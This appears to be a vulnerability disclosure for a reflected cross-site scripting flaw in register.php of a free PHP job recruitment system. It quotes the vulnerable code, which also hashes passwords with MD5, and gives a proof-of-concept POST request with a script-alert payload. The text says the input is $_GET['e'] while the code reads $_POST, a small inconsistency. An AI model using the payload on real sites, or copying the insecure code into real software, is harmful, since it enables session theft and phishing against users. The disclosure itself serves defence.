

job-recruitment-in-php has Cross Site Scripting vulnerability

supplier

<https://code-projects.org/job-recruitment-in-php-css-javascript-and-mysql-free-download/>

Vulnerability file

/register.php and e parameter

describe

The vulnerability of cross-site scripting attack in job-recruitment system is register.php file. The parameter that can be controlled is: \$_GET['e']. Exploit vulnerabilities can be phishing, get sensitive information.

Code analysis

Get \$e from \$_GET, and montage the value to \$userstring1. echo \$userstring1 leads to cross-site scripting vulnerability.

```
admin.php  register.php 6 x  _email.php
register.php
1  <?php
2  include_once("../sys/check_login_status.php");
3  if($user_ok == true){
4      header(header: "location: sync&".$_SESSION["user_hash"]);
5      exit();
6  }
7  ?><?php
8  if(isset($_POST["e"])){
9      $_SESSION['e'] = $email = mysqli_real_escape_string(mysql: $db_connection
10     $_SESSION['p1'] = $pass = $_POST['p1'];
11     $sql = "SELECT id FROM user_account WHERE email='$email'";
12     $query = mysqli_query(mysql: $db_connection, query: $sql);
13     $e_check1 = mysqli_num_rows(result: $query);
14     $userstring1 = "";
15     if($email == "" || $pass == ""){
16         echo 'Form submission is missing values';
17         exit();
18     } else if ($e_check1 > 0){
19         echo 'Email address is already in use';
20         exit();
21     } else if (strlen(string: $pass) < 6) {
22         echo "Password is too short. Try 6 or more characters";
23         exit();
24     } else {
25         $p_hash = md5(string: $pass);
26         $userstring1 .= "success|$email|$p_hash|";
27         $userstring1 = trim(string: $userstring1, characters: "||");
28         echo $userstring1;
29         exit();
30     }
31     exit();
32 }
```

POC

```
POST /register.php/ HTTP/1.1
Host: airecruitmentsystem
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101
Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Origin: http://airecruitmentsystem
Connection: close
Referer: http://airecruitmentsystem/register.php/
Cookie: PHPSESSID=k2j8lv5uh7kjavag3t57a63276s
Upgrade-Insecure-Requests: 1
Priority: u=0, i

e=%3Cscript%3Ealert%28%29%3B%3C%2Fscript%3E&p1=admin123
```

Result

